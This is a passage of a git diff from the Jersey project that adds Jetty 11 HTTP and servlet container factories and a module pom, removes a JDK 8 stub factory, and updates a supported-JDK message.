+     * servlet class.
+     *
+     * @param u the URI to create the http server. The URI scheme must be
+     *          equal to "http". The URI user information and host
+     *          are ignored If the URI port is not present then port 80 will be
+     *          used. The URI query and fragment components are ignored. Only first path segment will be used
+     *          as context path, the rest will be ignored.
+     * @param c the servlet class.
+     * @return the http server, with the endpoint started.
+     * @throws Exception                if an error occurs creating the container.
+     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+     */
+    public static Server create(String u, Class<? extends Servlet> c)
+            throws Exception {
+        if (u == null) {
+            throw new IllegalArgumentException("The URI must not be null");
+        }
+
+        return create(URI.create(u), c);
+    }
+
+    /**
+     * Create a {@link Server} that registers the declared
+     * servlet class.
+     *
+     * @param u          the URI to create the http server. The URI scheme must be
+     *                   equal to "http". The URI user information and host
+     *                   are ignored If the URI port is not present then port 80 will be
+     *                   used. The URI query and fragment components are ignored. Only first path segment will be used
+     *                   as context path, the rest will be ignored.
+     * @param c          the servlet class.
+     * @param initParams the servlet initialization parameters.
+     * @return the http server, with the endpoint started.
+     * @throws Exception                if an error occurs creating the container.
+     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+     */
+    public static Server create(String u, Class<? extends Servlet> c,
+                                Map<String, String> initParams)
+            throws Exception {
+        if (u == null) {
+            throw new IllegalArgumentException("The URI must not be null");
+        }
+
+        return create(URI.create(u), c, initParams);
+    }
+
+    /**
+     * Create a {@link Server} that registers the declared
+     * servlet class.
+     *
+     * @param u the URI to create the http server. The URI scheme must be
+     *          equal to "http". The URI user information and host
+     *          are ignored If the URI port is not present then port 80 will be
+     *          used. The URI query and fragment components are ignored. Only first path segment will be used
+     *          as context path, the rest will be ignored.
+     * @param c the servlet class.
+     * @return the http server, with the endpoint started.
+     * @throws Exception                if an error occurs creating the container.
+     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+     */
+    public static Server create(URI u, Class<? extends Servlet> c)
+            throws Exception {
+        return create(u, c, null);
+    }
+
+    /**
+     * Create a {@link Server} that registers the declared
+     * servlet class.
+     *
+     * @param u          the URI to create the http server. The URI scheme must be
+     *                   equal to "http". The URI user information and host
+     *                   are ignored If the URI port is not present then port 80 will be
+     *                   used. The URI query and fragment components are ignored. Only first path segment will be used
+     *                   as context path, the rest will be ignored.
+     * @param c          the servlet class.
+     * @param initParams the servlet initialization parameters.
+     * @return the http server, with the endpoint started.
+     * @throws Exception                if an error occurs creating the container.
+     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+     */
+    public static Server create(URI u, Class<? extends Servlet> c, Map<String, String> initParams)
+            throws Exception {
+        return create(u, c, null, initParams, null);
+    }
+
+    private static Server create(URI u, Class<? extends Servlet> c, Servlet servlet,
+                                 Map<String, String> initParams, Map<String, String> contextInitParams)
+            throws Exception {
+        if (u == null) {
+            throw new IllegalArgumentException("The URI must not be null");
+        }
+
+        String path = u.getPath();
+        if (path == null) {
+            throw new IllegalArgumentException("The URI path, of the URI " + u + ", must be non-null");
+        } else if (path.isEmpty()) {
+            throw new IllegalArgumentException("The URI path, of the URI " + u + ", must be present");
+        } else if (path.charAt(0) != '/') {
+            throw new IllegalArgumentException("The URI path, of the URI " + u + ". must start with a '/'");
+        }
+
+        path = String.format("/%s", UriComponent.decodePath(u.getPath(), true).get(1).toString());
+        WebAppContext context = new WebAppContext();
+        context.setDisplayName("JettyContext");
+        context.setContextPath(path);
+        context.setConfigurations(new Configuration[]{new WebXmlConfiguration()});
+        ServletHolder holder;
+        if (c != null) {
+            holder = context.addServlet(c, "/*");
+        } else {
+            holder = new ServletHolder(servlet);
+            context.addServlet(holder, "/*");
+        }
+
+        if (contextInitParams != null) {
+            for (Map.Entry<String, String> e : contextInitParams.entrySet()) {
+                context.setInitParameter(e.getKey(), e.getValue());
+            }
+        }
+
+        if (initParams != null) {
+            holder.setInitParameters(initParams);
+        }
+
+        Server server = JettyHttpContainerFactory.createServer(u, false);
+        server.setHandler(context);
+        server.start();
+        return server;
+    }
+
+    /**
+     * Create a {@link Server} that registers the declared
+     * servlet instance.
+     *
+     * @param u                 the URI to create the HTTP server. The URI scheme must be
+     *                          equal to "http". The URI user information and host
+     *                          are ignored If the URI port is not present then port 80 will be
+     *                          used. The URI query and fragment components are ignored. Only first path segment will be used
+     *                          as context path, the rest will be ignored.
+     * @param servlet           the servlet instance.
+     * @param initParams        the servlet initialization parameters.
+     * @param contextInitParams the servlet context initialization parameters.
+     * @return the http server, with the endpoint started.
+     * @throws Exception                if an error occurs creating the container.
+     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+     */
+    public static Server create(URI u, Servlet servlet, Map<String, String> initParams, Map<String, String> contextInitParams)
+            throws Exception {
+        if (servlet == null) {
+            throw new IllegalArgumentException("The servlet must not be null");
+        }
+        return create(u, null, servlet, initParams, contextInitParams);
+    }
+}
\ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/java8/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java8/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
deleted file mode 100644
index 3d87ae8..0000000
--- a/containers/jetty-servlet/src/main/java8/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.servlet;
-
-import java.net.URI;
-import java.util.Map;
-
-import jakarta.servlet.Servlet;
-
-import jakarta.ws.rs.ProcessingException;
-import org.eclipse.jetty.server.Server;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-
-/**
- * Jersey {@code Server} stub based on Jetty {@link org.eclipse.jetty.server.Server}.
- * <p>
- * For JDK 1.8 only since Jetty 11 does not support JDKs below 11
- */
-public final class JettyWebContainerFactory {
-
-    private JettyWebContainerFactory() {
-    }
-
-
-    public static Server create(String u)
-            throws Exception {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    public static Server create(String u, Map<String, String> initParams)
-            throws Exception {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    public static Server create(URI u)
-            throws Exception {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    public static Server create(URI u, Map<String, String> initParams)
-            throws Exception {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    public static Server create(String u, Class<? extends Servlet> c)
-            throws Exception {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    public static Server create(String u, Class<? extends Servlet> c,
-                                Map<String, String> initParams)
-            throws Exception {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    public static Server create(URI u, Class<? extends Servlet> c)
-            throws Exception {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    public static Server create(URI u, Class<? extends Servlet> c, Map<String, String> initParams)
-            throws Exception {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    private static Server create(URI u, Class<? extends Servlet> c, Servlet servlet,
-                                 Map<String, String> initParams, Map<String, String> contextInitParams)
-            throws Exception {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    public static Server create(URI u, Servlet servlet, Map<String, String> initParams, Map<String, String> contextInitParams)
-            throws Exception {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-}
\ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties b/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
index c362bf0..6504f0e 100644
--- a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
+++ b/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,4 +15,4 @@
 #
 
 # {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/containers/jetty11-http/pom.xml b/containers/jetty11-http/pom.xml
new file mode 100644
index 0000000..1dd7db4
--- /dev/null
+++ b/containers/jetty11-http/pom.xml
@@ -0,0 +1,134 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <artifactId>project</artifactId>
+        <groupId>org.glassfish.jersey.containers</groupId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>jersey-container-jetty11-http</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-container-jetty11-http</name>
+
+    <description>Jetty 11 Http Container</description>
+
+    <dependencies>
+        <dependency>
+            <groupId>jakarta.inject</groupId>
+            <artifactId>jakarta.inject-api</artifactId>
+        </dependency>
+         <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-server</artifactId>
+            <version>${jetty11.version}</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.eclipse.jetty.toolchain</groupId>
+                    <artifactId>jetty-jakarta-servlet-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-util</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.slf4j</groupId>
+            <artifactId>slf4j-api</artifactId>
+            <version>${slf4j.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.servlet</groupId>
+            <artifactId>jakarta.servlet-api</artifactId>
+            <scope>provided</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-util</artifactId>
+            <version>${jetty11.version}</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.httpcomponents</groupId>
+            <artifactId>httpclient</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.hamcrest</groupId>
+            <artifactId>hamcrest</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>com.sun.istack</groupId>
+                <artifactId>istack-commons-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>build-helper-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+                <inherited>true</inherited>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jetty.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                </configuration>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-enforcer-plugin</artifactId>
+                <configuration>
+                    <rulesToSkip>dependencyConvergence</rulesToSkip>
+                </configuration>
+            </plugin>
+        </plugins>
+
+        <resources>
+            <resource>
+                <directory>${basedir}/src/main/resources</directory>
+                <filtering>true</filtering>
+            </resource>
+        </resources>
+    </build>
+
+</project>
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
new file mode 100644
index 0000000..dc680a3
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -0,0 +1,510 @@
+/*
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.lang.reflect.Type;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.security.Principal;
+import java.util.Enumeration;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.servlet.AsyncContext;
+import jakarta.servlet.AsyncEvent;
+import jakarta.servlet.AsyncListener;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.SecurityContext;
+
+import jakarta.inject.Inject;
+import jakarta.inject.Provider;
+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+
+import org.glassfish.jersey.internal.MapPropertiesDelegate;
+import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.internal.inject.ReferencingFactory;
+import org.glassfish.jersey.internal.util.ExtendedLogger;
+import org.glassfish.jersey.internal.util.collection.Ref;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.process.internal.RequestScoped;
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ContainerException;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.internal.ContainerUtils;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.ContainerResponseWriter;
+
+import org.eclipse.jetty.http.HttpStatus;
+import org.eclipse.jetty.server.Request;
+import org.eclipse.jetty.server.Response;
+import org.eclipse.jetty.server.handler.AbstractHandler;
+
+/**
+ * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Libor Kramolis
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainer extends AbstractHandler implements Container {
+
+    private static final ExtendedLogger LOGGER =
+            new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST);
+
+    private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType();
+    private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType();
+
+    private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
+    private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST;
+
+    /**
+     * Cached value of configuration property
+     * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}.
+     * If {@code true} method {@link HttpServletResponse#setStatus} is used over {@link HttpServletResponse#sendError}.
+     */
+    private boolean configSetStatusOverSendError;
+
+    /**
+     * Referencing factory for Jetty request.
+     */
+    private static class JettyRequestReferencingFactory extends ReferencingFactory<Request> {
+        @Inject
+        public JettyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) {
+            super(referenceFactory);
+        }
+    }
+
+    /**
+     * Referencing factory for Jetty response.
+     */
+    private static class JettyResponseReferencingFactory extends ReferencingFactory<Response> {
+        @Inject
+        public JettyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) {
+            super(referenceFactory);
+        }
+    }
+
+    /**
+     * An internal binder to enable Jetty HTTP container specific types injection.
+     * This binder allows to inject underlying Jetty HTTP request and response instances.
+     * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor,
+     * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via
+     * {@link jakarta.inject.Provider injection provider}.
+     */
+    private static class JettyBinder extends AbstractBinder {
+
+        @Override
+        protected void configure() {
+            bindFactory(JettyRequestReferencingFactory.class).to(Request.class)
+                    .proxy(false).in(RequestScoped.class);
+            bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {})
+                    .in(RequestScoped.class);
+
+            bindFactory(JettyResponseReferencingFactory.class).to(Response.class)
+                    .proxy(false).in(RequestScoped.class);
+            bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {})
+                    .in(RequestScoped.class);
+        }
+    }
+
+    private volatile ApplicationHandler appHandler;
+
+    @Override
+    public void handle(final String target, final Request request, final HttpServletRequest httpServletRequest,
+                       final HttpServletResponse httpServletResponse) throws IOException, ServletException {
+
+        if (request.isHandled()) {
+            return;
+        }
+
+        final Response response = request.getResponse();
+        final ResponseWriter responseWriter = new ResponseWriter(request, response, configSetStatusOverSendError);
+        try {
+            LOGGER.debugLog(LocalizationMessages.CONTAINER_STARTED());
+            final URI baseUri = getBaseUri(request);
+            final URI requestUri = getRequestUri(request, baseUri);
+            final ContainerRequest requestContext = new ContainerRequest(
+                    baseUri,
+                    requestUri,
+                    request.getMethod(),
+                    getSecurityContext(request),
+                    new MapPropertiesDelegate(),
+                    appHandler.getConfiguration());
+            requestContext.setEntityStream(request.getInputStream());
+            final Enumeration<String> headerNames = request.getHeaderNames();
+            while (headerNames.hasMoreElements()) {
+                final String headerName = headerNames.nextElement();
+                String headerValue = request.getHeader(headerName);
+                requestContext.headers(headerName, headerValue == null ? "" : headerValue);
+            }
+            requestContext.setWriter(responseWriter);
+            requestContext.setRequestScopedInitializer(injectionManager -> {
+                injectionManager.<Ref<Request>>getInstance(REQUEST_TYPE).set(request);
+                injectionManager.<Ref<Response>>getInstance(RESPONSE_TYPE).set(response);
+            });
+
+            // Mark the request as handled before generating the body of the response
+            request.setHandled(true);
+            appHandler.handle(requestContext);
+        } catch (URISyntaxException e) {
+            setResponseForInvalidUri(response, e);
+        } catch (final Exception ex) {
+            throw new RuntimeException(ex);
+        }
+    }
+
+    private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException {
+        final String serverAddress = getServerAddress(baseUri);
+        String uri = request.getRequestURI();
+
+        final String queryString = request.getQueryString();
+        if (queryString != null) {
+            uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
+        }
+
+        return new URI(serverAddress + uri);
+    }
+
+    private void setResponseForInvalidUri(final HttpServletResponse response, final Throwable throwable) throws IOException {
+        LOGGER.log(Level.FINER, "Error while processing request.", throwable);
+
+        if (configSetStatusOverSendError) {
+            response.reset();
+            //noinspection deprecation
+            response.setStatus(BAD_REQUEST_STATUS.getStatusCode());
+        } else {
+            response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
+        }
+    }
+
+    private String getServerAddress(URI baseUri) {
+        String serverAddress = baseUri.toString();
+        if (serverAddress.charAt(serverAddress.length() - 1) == '/') {
+            return serverAddress.substring(0, serverAddress.length() - 1);
+        }
+        return serverAddress;
+    }
+
+    private SecurityContext getSecurityContext(final Request request) {
+        return new SecurityContext() {
+
+            @Override
+            public boolean isUserInRole(final String role) {
+                return request.isUserInRole(role);
+            }
+
+            @Override
+            public boolean isSecure() {
+                return request.isSecure();
+            }
+
+            @Override
+            public Principal getUserPrincipal() {
+                return request.getUserPrincipal();
+            }
+
+            @Override
+            public String getAuthenticationScheme() {
+                return request.getAuthType();
+            }
+        };
+    }
+
+
+    private URI getBaseUri(final Request request) throws URISyntaxException {
+        return new URI(request.getScheme(), null, request.getServerName(),
+                request.getServerPort(), getBasePath(request), null, null);
+    }
+
+    private String getBasePath(final Request request) {
+        final String contextPath = request.getContextPath();
+
+        if (contextPath == null || contextPath.isEmpty()) {
+            return "/";
+        } else if (contextPath.charAt(contextPath.length() - 1) != '/') {
+            return contextPath + "/";
+        } else {
+            return contextPath;
+        }
+    }
+
+    private static final class ResponseWriter implements ContainerResponseWriter {
+
+        private final Response response;
+        private final AsyncContext context;
+        private final boolean configSetStatusOverSendError;
+
+        ResponseWriter(final Request request, final Response response, final boolean configSetStatusOverSendError) {
+            this.response = response;
+            this.context = request.startAsync();
+            this.configSetStatusOverSendError = configSetStatusOverSendError;
+        }
+
+        @Override
+        public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context)
+                throws ContainerException {
+
+            final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo();
+
+            final int code = statusInfo.getStatusCode();
+            final String reason = statusInfo.getReasonPhrase() == null
+                    ? HttpStatus.getMessage(code) : statusInfo.getReasonPhrase();
+
+            response.setStatusWithReason(code, reason);
+
+            if (contentLength != -1 && contentLength < Integer.MAX_VALUE) {
+                response.setContentLength((int) contentLength);
+            }
+            for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) {
+                for (final String value : e.getValue()) {
+                    response.addHeader(e.getKey(), value);
+                }
+            }
+
+            try {
+                return response.getOutputStream();
+            } catch (final IOException ioe) {
+                throw new ContainerException("Error during writing out the response headers.", ioe);
+            }
+        }
+
+        @Override
+        public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) {
+            try {
+                if (timeOut > 0) {
+                    final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit);
+                    context.setTimeout(timeoutMillis);
+                }
+                context.addListener(new AsyncListener() {
+                    @Override
+                    public void onComplete(AsyncEvent asyncEvent) throws IOException {
+
+                    }
+
+                    @Override
+                    public void onTimeout(AsyncEvent asyncEvent) throws IOException {
+                        if (timeoutHandler != null) {
+                            timeoutHandler.onTimeout(ResponseWriter.this);
+                        }
+                    }
+
+                    @Override
+                    public void onError(AsyncEvent asyncEvent) throws IOException {
+
+                    }
+
+                    @Override
+                    public void onStartAsync(AsyncEvent asyncEvent) throws IOException {
+
+                    }
+                });
+                return true;
+            } catch (final Exception ex) {
+                return false;
+            }
+        }
+
+        @Override
+        public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException {
+            if (timeOut > 0) {
+                final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit);
+                context.setTimeout(timeoutMillis);
+            }
+        }
+
+        @Override
+        public void commit() {
+            try {
+                closeOutput(response);
+            } catch (final IOException e) {
+                LOGGER.log(Level.WARNING, LocalizationMessages.UNABLE_TO_CLOSE_RESPONSE(), e);
+            } finally {
+                if (context.getRequest().isAsyncStarted()) {
+                    context.complete();
+                }
+                LOGGER.log(Level.FINEST, "commit() called");
+            }
+        }
+
+        private void closeOutput(Response response) throws IOException {
+            try {
+                response.completeOutput();
+            } catch (final IOException e) {
+                throw e;
+            } catch (NoSuchMethodError e) {
+                // try older Jetty Response#closeOutput
+                try {
+                    Method method = response.getClass().getMethod("closeOutput");
+                    method.invoke(response);
+                } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException ex) {
+                    throw new IOException(ex);
+                }
+            }
+        }
+
+        @Override
+        public void failure(final Throwable error) {
+            try {
+                if (!response.isCommitted()) {
+                    try {
+                        if (configSetStatusOverSendError) {
+                            response.reset();
+                            //noinspection deprecation
+                            response.setStatus(INTERNAL_SERVER_ERROR, "Request failed.");
+                        } else {
+                            response.sendError(INTERNAL_SERVER_ERROR, "Request failed.");
+                        }
+                    } catch (final IllegalStateException ex) {
+                        // a race condition externally committing the response can still occur...
+                        LOGGER.log(Level.FINER, "Unable to reset failed response.", ex);
+                    } catch (final IOException ex) {
+                        throw new ContainerException(LocalizationMessages.EXCEPTION_SENDING_ERROR_RESPONSE(INTERNAL_SERVER_ERROR,
+                                "Request failed."), ex);
+                    }
+                }
+            } finally {
+                LOGGER.log(Level.FINEST, "failure(...) called");
+                commit();
+                rethrow(error);
+            }
+        }
+
+        @Override
+        public boolean enableResponseBuffering() {
+            return false;
+        }
+
+        /**
+         * Rethrow the original exception as required by JAX-RS, 3.3.4.
+         *
+         * @param error throwable to be re-thrown
+         */
+        private void rethrow(final Throwable error) {
+            if (error instanceof RuntimeException) {
+                throw (RuntimeException) error;
+            } else {
+                throw new ContainerException(error);
+            }
+        }
+
+    }
+
+    @Override
+    public ResourceConfig getConfiguration() {
+        return appHandler.getConfiguration();
+    }
+
+    @Override
+    public void reload() {
+        reload(new ResourceConfig(getConfiguration()));
+    }
+
+    @Override
+    public void reload(final ResourceConfig configuration) {
+        appHandler.onShutdown(this);
+
+        appHandler = new ApplicationHandler(configuration.register(new JettyBinder()));
+        appHandler.onReload(this);
+        appHandler.onStartup(this);
+        cacheConfigSetStatusOverSendError();
+    }
+
+    @Override
+    public ApplicationHandler getApplicationHandler() {
+        return appHandler;
+    }
+
+    /**
+     * Inform this container that the server has been started.
+     * This method must be implicitly called after the server containing this container is started.
+     *
+     * @throws java.lang.Exception if a problem occurred during server startup.
+     */
+    @Override
+    protected void doStart() throws Exception {
+        super.doStart();
+        appHandler.onStartup(this);
+    }
+
+    /**
+     * Inform this container that the server is being stopped.
+     * This method must be implicitly called before the server containing this container is stopped.
+     *
+     * @throws java.lang.Exception if a problem occurred during server shutdown.
+     */
+    @Override
+    public void doStop() throws Exception {
+        super.doStop();
+        appHandler.onShutdown(this);
+        appHandler = null;
+    }
+
+    /**
+     * Create a new Jetty HTTP container.
+     *
+     * @param application   JAX-RS / Jersey application to be deployed on Jetty HTTP container.
+     * @param parentContext DI provider specific context with application's registered bindings.
+     */
+    JettyHttpContainer(final Application application, final Object parentContext) {
+        this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext);
+    }
+
+    /**
+     * Create a new Jetty HTTP container.
+     *
+     * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
+     */
+    JettyHttpContainer(final Application application) {
+        this.appHandler = new ApplicationHandler(application, new JettyBinder());
+
+        cacheConfigSetStatusOverSendError();
+    }
+
+    /**
+     * Create a new Jetty HTTP container.
+     *
+     * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container.
+     */
+    JettyHttpContainer(final Class<? extends Application> applicationClass) {
+        this.appHandler = new ApplicationHandler(applicationClass, new JettyBinder());
+
+        cacheConfigSetStatusOverSendError();
+    }
+
+    /**
+     * The method reads and caches value of configuration property
+     * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes.
+     */
+    private void cacheConfigSetStatusOverSendError() {
+        this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(),
+                ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class);
+    }
+
+}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
new file mode 100644
index 0000000..cb66f21
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
@@ -0,0 +1,319 @@
+/*
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.net.URI;
+import java.util.concurrent.ThreadFactory;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Configuration;
+
+import org.glassfish.jersey.innate.VirtualThreadUtil;
+import org.glassfish.jersey.innate.virtual.LoomishExecutors;
+import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
